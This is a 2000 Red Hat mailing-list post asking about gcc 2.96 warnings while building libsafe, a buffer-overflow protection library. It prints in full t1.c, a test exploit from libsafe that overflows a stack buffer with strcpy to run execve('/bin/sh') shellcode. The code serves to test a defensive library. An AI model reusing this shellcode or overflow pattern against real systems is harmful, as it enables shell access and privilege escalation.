On Wednesday 20 December 2000 22:25, Bernhard Rosenkraenzer wrote:
> 2.96-69?
Hi, Bernard,
Yes, that's the release...
> There are no known bugs in 2.96-69, so chances are the programs are
> broken. 2.96-69 is still (and will always be) much stricter about ISO
> compliance than older (broken) versions of gcc.
I think this is one of these cases, as I'm trying to compile a beta release...
But that's not important if it works for at least the good code... there is a
flag to avoid strict ISO compliance with the C++ compiler?
> If you tell me what package you're trying to compile, I can tell you for
> sure what's going on.
Well the package that gives me to think about was libsafe. No matter about
beta code, it is known that can give problems (may give SegFault after
compiled, or may not compile at all... we compile at out own risk!), but this
warning is strange:
package: libsafe
compiler: gcc-2.96-69
[neugens@nirvana libsafe]$ make
cd src; make
make[1]: Entering directory `/home/neugens/work_space/src/libsafe/src'
gcc -M util.c intercept.c iovfscanf.c > dep
gcc -c -o util.o -O2 -Wall -DNDEBUG -fPIC util.c
gcc -c -o intercept.o -O2 -Wall -DNDEBUG -fPIC intercept.c
gcc -c -o iovfscanf.o -O2 -Wall -DNDEBUG -fPIC iovfscanf.c
gcc -o libsafe.so.1.3 -shared -Wl,-soname,libsafe.so.1 -ldl util.o
intercept.o iovfscanf.o
make[1]: Leaving directory `/home/neugens/work_space/src/libsafe/src'
cd exploits; make
make[1]: Entering directory `/home/neugens/work_space/src/libsafe/exploits'
gcc -o t1 -g -Wall -O2 t1.c
t1.c: In function `main':
t1.c:25: warning: implicit declaration of function `strlen'
t1.c:27: warning: implicit declaration of function `strcpy'
gcc -o t3 -g -Wall -O2 t3.c
gcc -o t4 -g -Wall -O2 t4.c
t4.c: In function `main':
t4.c:28: warning: implicit declaration of function `exit'
t4.c:32: warning: implicit declaration of function `strlen'
t4.c:34: warning: implicit declaration of function `strcpy'
gcc -o xlock-exploit -g -Wall -O2 xlock-exploit.c
xlock-exploit.c: In function `main':
xlock-exploit.c:58: warning: implicit declaration of function `memset'
xlock-exploit.c:58: warning: implicit declaration of function `strlen'
gcc -o exploit-non-exec-stack -g -Wall -O2 exploit-non-exec-stack.c
exploit-non-exec-stack.c: In function `main':
exploit-non-exec-stack.c:45: warning: implicit declaration of function `exit'
make[1]: Leaving directory `/home/neugens/work_space/src/libsafe/exploits'
Note t1.c and t4.c.
t1.c is:
#include <stdio.h>
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
int main(int ac, char *av[])
{
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
printf
("This program tries to use strcpy() to overflow the buffer.\n");
printf
("If you get a /bin/sh prompt, then the exploit has worked.\n");
printf("Press any key to continue...");
getchar();
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < (int) strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer, large_string);
return 0;
}
There is not the inclusion for the string.h or the strlib.h, so that warning
would be normal if the stdio.h avoid to include these libraries, but this is
not the case.
The strange thing is when I call gcc to compile only the t1.c program (as if
I want ot compile only it, and not the whole library).
The compilation goes well, without warnigs.
Why?
The program t1 works in any case, but I don't know why these warnings are
given.
Surely, it can be only a matter of ISO compliance:
The flag "-Wall" may be the reason of these extra warnings, but the egcs or
the gcc 2.95 if called with the -Wall option gave out no warnings.
Anyway, this mail should be read as: am I free (and safe) to use the new
version of the compiler, or I will run into problems?
I trust a lot in RedHat and in the gcc-2.96, I'm not agreed at all with what
Linus said some days ago, above all for the better and optimized code
generated by that compiler, and for the boost in the development for the
gcc-3.0, but there is the need, at least for the next release of RedHat
Linux, for a _real_ compatible library for programs compiled with at least
older versions of RedHat Linux (I used Quanta and KDEStudio, compiled for
RedHat L. 6.2, and they went in SegFault, so I decided to recompile the code
for RedHat Linux 7.0, but this is not always possible).
Thank you for your answers.
Mario
--
--=*=-=*=-=*=-=*=-=*=-=*=-=*=-=*=-=*=--
http://antartica.sourceforge.net
http://digilander.iol.it/linuxlabs
http://frinemusic.20m.com
--=*=-=*=-=*=-=*=-=*=-=*=-=*=-=*=-=*=--
_______________________________________________
Redhat-devel-list mailing list
[EMAIL PROTECTED]
https://listman.redhat.com/mailman/listinfo/redhat-devel-list
